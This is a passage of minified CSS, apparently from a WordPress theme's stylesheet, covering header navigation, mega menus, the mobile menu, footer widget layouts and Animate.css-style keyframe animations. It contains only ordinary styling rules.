1)}span.et_close_search_field{display:block;width:30px;height:30px;z-index:99999;position:absolute;right:0;cursor:pointer;top:0;bottom:0;margin:auto}span.et_close_search_field:after{font-family:'ETmodules';content:'\4d';speak:none;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:32px;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box}.container.et_menu_container{z-index:99}.container.et_search_form_container.et_pb_search_form_hidden{z-index:1 !important}.et_search_outer{width:100%;overflow:hidden;position:absolute;top:0}.container.et_pb_menu_hidden{z-index:-1}form.et-search-form{background:rgba(0,0,0,0) !important}input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}.et-cart-info{color:inherit}#et-top-navigation .et-cart-info{float:left;margin:-2px 0 0 22px;font-size:16px}#et-top-navigation{float:right}#top-menu li li{padding:0 20px;margin:0}#top-menu li li a{padding:6px 20px;width:200px}.nav li.et-touch-hover>ul{opacity:1;visibility:visible}#top-menu .menu-item-has-children>a:first-child:after,#et-secondary-nav .menu-item-has-children>a:first-child:after{font-family:'ETmodules';content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}#top-menu .menu-item-has-children>a:first-child,#et-secondary-nav .menu-item-has-children>a:first-child{padding-right:20px}#top-menu li .menu-item-has-children>a:first-child{padding-right:40px}#top-menu li .menu-item-has-children>a:first-child:after{right:20px;top:6px}#top-menu li.mega-menu{position:inherit}#top-menu li.mega-menu>ul{padding:30px 20px;position:absolute !important;width:100%;left:0 !important}#top-menu li.mega-menu ul li{margin:0;float:left !important;display:block !important;padding:0 !important}#top-menu li.mega-menu>ul>li:nth-of-type(4n){clear:right}#top-menu li.mega-menu>ul>li:nth-of-type(4n+1){clear:left}#top-menu li.mega-menu ul li li{width:100%}#top-menu li.mega-menu li>ul{-webkit-animation:none !important;animation:none !important;padding:0px;border:none;left:auto;top:auto;width:90% !important;position:relative;-webkit-box-shadow:none;box-shadow:none}#top-menu li.mega-menu li ul{visibility:visible;opacity:1;display:none}#top-menu li.mega-menu.et-hover li ul{display:block}#top-menu li.mega-menu.et-hover>ul{opacity:1 !important;visibility:visible !important}#top-menu li.mega-menu>ul>li>a{width:90%;padding:0 20px 10px}#top-menu li.mega-menu>ul>li>a:first-child{padding-top:0 !important;font-weight:bold;border-bottom:1px solid rgba(0,0,0,0.03)}#top-menu li.mega-menu>ul>li>a:first-child:hover{background-color:transparent !important}#top-menu li.mega-menu li>a{width:100%}#top-menu li.mega-menu.mega-menu-parent li li,#top-menu li.mega-menu.mega-menu-parent li>a{width:100% !important}#top-menu li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100% !important}#top-menu li.mega-menu>ul>li{width:25%;margin:0}#top-menu li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}#top-menu li.mega-menu.mega-menu-parent-2>ul>li{width:50%}#top-menu li.mega-menu.mega-menu-parent-1>ul>li{width:100%}#top-menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}#top-menu li.mega-menu>ul>li>ul>li{width:100%;margin:0}#et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before,.et_toggle_slide_menu:after{content:"\61";font-size:32px;left:0;position:relative;top:0;cursor:pointer}.mobile_nav .select_page{display:none}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .et-cart-info{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .et-cart-info{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .mobile_menu_bar{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .mobile_menu_bar{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_no_animation #top-menu,.et_pb_no_animation #et_search_icon:before,.et_pb_no_animation .mobile_menu_bar,.et_pb_no_animation.et_search_form_container{animation:none !important;-o-animation:none !important;-webkit-animation:none !important;-moz-animation:none !important}body.admin-bar.et_fixed_nav #main-header{top:32px}body.et-wp-pre-3_8.admin-bar.et_fixed_nav #main-header{top:28px}body.et_fixed_nav.et_secondary_nav_enabled #main-header{top:30px}body.admin-bar.et_fixed_nav.et_secondary_nav_enabled #main-header{top:63px}@media all and (min-width: 981px){.et_hide_primary_logo #main-header:not(.et-fixed-header) .logo_container,.et_hide_fixed_logo #main-header.et-fixed-header .logo_container{height:0;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et_hide_primary_logo #main-header:not(.et-fixed-header) .centered-inline-logo-wrap,.et_hide_fixed_logo #main-header.et-fixed-header .centered-inline-logo-wrap{height:0;opacity:0;padding:0}.et-animated-content#page-container{-webkit-transition:margin-top 0.4s ease-in-out;transition:margin-top 0.4s ease-in-out}.et_hide_nav #page-container{-webkit-transition:none;transition:none}.et_fullwidth_nav .et-search-form,.et_fullwidth_nav .et_close_search_field{right:30px}#main-header.et-fixed-header{-webkit-box-shadow:0 0 7px rgba(0,0,0,0.1) !important;box-shadow:0 0 7px rgba(0,0,0,0.1) !important}.et_header_style_left .et-fixed-header #et-top-navigation{padding-top:20px}.et_header_style_left .et-fixed-header #et-top-navigation nav>ul>li>a{padding-bottom:20px}.et_hide_nav.et_fixed_nav #main-header{opacity:0}.et_hide_nav.et_fixed_nav .et-fixed-header#main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}.et_hide_nav .centered-inline-logo-wrap,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav .centered-inline-logo-wrap{-webkit-transition-duration:.7s;transition-duration:.7s}.et_hide_nav #page-container{padding-top:0 !important}.et_primary_nav_dropdown_animation_fade #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_fade #et-secondary-nav li:hover>ul{-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.et_primary_nav_dropdown_animation_slide #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_slide #et-secondary-nav li:hover>ul{-webkit-animation:fadeLeft .4s ease-in-out;animation:fadeLeft .4s ease-in-out}.et_primary_nav_dropdown_animation_expand #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_expand #et-secondary-nav li:hover>ul{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-animation:Grow .4s ease-in-out;animation:Grow .4s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav ul li:hover>ul{-webkit-animation:flipInX .6s ease-in-out;animation:flipInX .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav li:hover>ul{-webkit-animation:flipInY .6s ease-in-out;animation:flipInY .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_fullwidth_nav #main-header .container{width:100%;max-width:100%;padding-right:32px;padding-left:30px}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left #main-header .container{padding-left:0}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left .logo_container{padding-left:30px}}@media all and (max-width: 980px){.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container,.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_non_fixed_nav #page-container{padding-top:0}.et_fixed_nav.et_secondary_nav_only_menu.admin-bar #main-header{top:32px !important}.et_hide_mobile_logo #main-header .logo_container{display:none;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#top-menu{display:none}.et_hide_nav.et_fixed_nav #main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}#et-top-navigation{margin-right:0;-webkit-transition:none;transition:none}.et_fixed_nav #main-header{position:absolute}.et_header_style_left .et-fixed-header #et-top-navigation,.et_header_style_left #et-top-navigation{padding-top:24px;display:block}.et_fixed_nav #main-header{-webkit-transition:none;transition:none}.et_fixed_nav_temp #main-header{top:0 !important}#logo,.logo_container,#main-header,.container{-webkit-transition:none;transition:none}.et_header_style_left #logo{max-width:50%}#et_top_search{margin:0 35px 0 0;float:left}#et_search_icon:before{top:7px}.et_header_style_left .et-search-form{width:50% !important;max-width:50% !important}#et_mobile_nav_menu{display:block}#et-top-navigation .et-cart-info{margin-top:5px}}@media screen and (max-width: 782px){body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 767px){#et-top-navigation{margin-right:0}body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 479px){#et-top-navigation{margin-right:0}}@media print{#top-header,#main-header{position:relative !important;top:auto !important;right:auto !important;bottom:auto !important;left:auto !important}}
@-webkit-keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@-webkit-keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@-webkit-keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}/*!
	  * Animate.css - http://daneden.me/animate
	  * Licensed under the MIT license - http://opensource.org/licenses/MIT
	  * Copyright (c) 2015 Daniel Eden
	 */@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}
#main-header{line-height:23px;font-weight:500;top:0;background-color:#fff;width:100%;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 0 rgba(0,0,0,.1);position:relative;z-index:99999}.nav li li{padding:0 20px;margin:0}.et-menu li li a{padding:6px 20px;width:200px}.nav li{position:relative;line-height:1em}.nav li li{position:relative;line-height:2em}.nav li ul{position:absolute;padding:20px 0;z-index:9999;width:240px;background:#fff;visibility:hidden;opacity:0;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-transform:translateZ(0);text-align:left}.nav li.et-hover>ul{visibility:visible}.nav li.et-touch-hover>ul,.nav li:hover>ul{opacity:1;visibility:visible}.nav li li ul{z-index:1000;top:-23px;left:240px}.nav li.et-reverse-direction-nav li ul{left:auto;right:240px}.nav li:hover{visibility:inherit}.et_mobile_menu li a,.nav li li a{font-size:14px;-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out}.et_mobile_menu li a:hover,.nav ul li a:hover{background-color:rgba(0,0,0,.03);opacity:.7}.et-dropdown-removing>ul{display:none}.mega-menu .et-dropdown-removing>ul{display:block}.et-menu .menu-item-has-children>a:first-child:after{font-family:ETmodules;content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}.et-menu .menu-item-has-children>a:first-child{padding-right:20px}.et-menu li li.menu-item-has-children>a:first-child:after{right:20px;top:6px}.et-menu-nav li.mega-menu{position:inherit}.et-menu-nav li.mega-menu>ul{padding:30px 20px;position:absolute!important;width:100%;left:0!important}.et-menu-nav li.mega-menu ul li{margin:0;float:left!important;display:block!important;padding:0!important}.et-menu-nav li.mega-menu li>ul{-webkit-animation:none!important;animation:none!important;padding:0;border:none;left:auto;top:auto;width:240px!important;position:relative;box-shadow:none;-webkit-box-shadow:none}.et-menu-nav li.mega-menu li ul{visibility:visible;opacity:1;display:none}.et-menu-nav li.mega-menu.et-hover li ul,.et-menu-nav li.mega-menu:hover li ul{display:block}.et-menu-nav li.mega-menu:hover>ul{opacity:1!important;visibility:visible!important}.et-menu-nav li.mega-menu>ul>li>a:first-child{padding-top:0!important;font-weight:700;border-bottom:1px solid rgba(0,0,0,.03)}.et-menu-nav li.mega-menu>ul>li>a:first-child:hover{background-color:transparent!important}.et-menu-nav li.mega-menu li>a{width:200px!important}.et-menu-nav li.mega-menu.mega-menu-parent li>a,.et-menu-nav li.mega-menu.mega-menu-parent li li{width:100%!important}.et-menu-nav li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100%!important}.et-menu-nav li.mega-menu>ul>li{width:25%;margin:0}.et-menu-nav li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}.et-menu-nav li.mega-menu.mega-menu-parent-2>ul>li{width:50%}.et-menu-nav li.mega-menu.mega-menu-parent-1>ul>li{width:100%}.et_pb_fullwidth_menu li.mega-menu .menu-item-has-children>a:first-child:after,.et_pb_menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}.et_fullwidth_nav #top-menu li.mega-menu>ul{width:auto;left:30px!important;right:30px!important}.et_mobile_menu{position:absolute;left:0;padding:5%;background:#fff;width:100%;visibility:visible;opacity:1;display:none;z-index:9999;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1)}#main-header .et_mobile_menu li ul,.et_pb_fullwidth_menu .et_mobile_menu li ul,.et_pb_menu .et_mobile_menu li ul{visibility:visible!important;display:block!important;padding-left:10px}.et_mobile_menu li li{padding-left:5%}.et_mobile_menu li a{border-bottom:1px solid rgba(0,0,0,.03);color:#666;padding:10px 5%;display:block}.et_mobile_menu .menu-item-has-children>a{font-weight:700;background-color:rgba(0,0,0,.03)}.et_mobile_menu li .menu-item-has-children>a{background-color:transparent}.et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before{content:"a";font-size:32px;position:relative;left:0;top:0;cursor:pointer}.et_pb_module .mobile_menu_bar:before{top:2px}.mobile_nav .select_page{display:none}
.footer-widget h4,#main-footer .widget_block h1,#main-footer .widget_block h2,#main-footer .widget_block h3,#main-footer .widget_block h4,#main-footer .widget_block h5,#main-footer .widget_block h6{color:#2EA3F2}.footer-widget li:before{border-color:#2EA3F2}.bottom-nav li.current-menu-item>a{color:#2EA3F2}#main-footer{background-color:#222222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.last{margin-right:0}.footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget li{padding-left:14px;position:relative}#footer-widgets .footer-widget li:before{border-radius:3px;border-style:solid;border-width:3px;content:"";left:0;position:absolute;top:9px}#footer-widgets .footer-widget a{color:#fff}#footer-widgets .footer-widget li a{color:#fff;text-decoration:none}#footer-widgets .footer-widget li a:hover{color:rgba(255,255,255,0.7)}.footer-widget .widget_adsensewidget ins{min-width:160px}#footer-bottom{background-color:#1f1f1f;background-color:rgba(0,0,0,0.32);padding:15px 0 5px}#footer-bottom a{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#footer-info{text-align:left;color:#666;padding-bottom:10px;float:left}#footer-info a{font-weight:700;color:#666}#footer-info a:hover{opacity:.7}#et-footer-nav{background-color:rgba(255,255,255,0.05)}.bottom-nav{padding:15px 0}.bottom-nav li{font-weight:600;display:inline-block;font-size:14px;padding-right:22px}.bottom-nav a{color:#bbb;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.bottom-nav a:hover{opacity:.7}@media all and (max-width: 980px){.footer-widget:nth-child(n){width:46.25% !important;margin:0 7.5% 7.5% 0 !important}.et_pb_footer_columns1 .footer-widget{width:100% !important;margin:0 7.5% 7.5% 0 !important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}.et_pb_gutters1 .footer-widget:nth-child(n){width:50% !important;margin:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-child(2n){margin-right:0 !important}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0 !important}.bottom-nav{text-align:center}#footer-info{float:none;text-align:center}}@media all and (max-width: 767px){#footer-widgets .footer-widget,.et_pb_gutters1 #footer-widgets .footer-widget{width:100% !important;margin-right:0 !important}#footer-widgets .footer-widget:nth-child(n),#footer-widgets .footer-widget .fwidget{margin-bottom:9.5% !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget:last-child{margin-bottom:0 !important}}@media all and (max-width: 479px){#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5% !important}#footer-widgets .footer-widget.last{margin-bottom:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:12% 0}}
@media all and (min-width: 981px){.et_pb_gutters3 .footer-widget{margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3 .footer-widget:last-child{margin-right:0}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget{width:12.083%}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget{width:15.6%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget{width:29.667%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget{width:47.25%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget{width:100%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget .fwidget{margin-bottom:5.5%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1){width:73.625%;clear:both}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1){width:20.875%;clear:both}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2){width:73.625%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child{width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}}
.et-social-icons{float:right}.et-social-icons li{display:inline-block;margin-left:20px}.et-social-icon a{display:inline-block;font-size:24px;position:relative;text-align:center;-webkit-transition:color 300ms ease 0s;transition:color 300ms ease 0s;color:#666;text-decoration:none}.et-social-icons a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-social-icon span{display:none}.et_duplicate_social_icons{display:none}@media all and (max-width: 980px){.et-social-icons{float:none;text-align:center}}@media all and (max-width: 980px){.et-social-icons{margin:0 0 5px}}
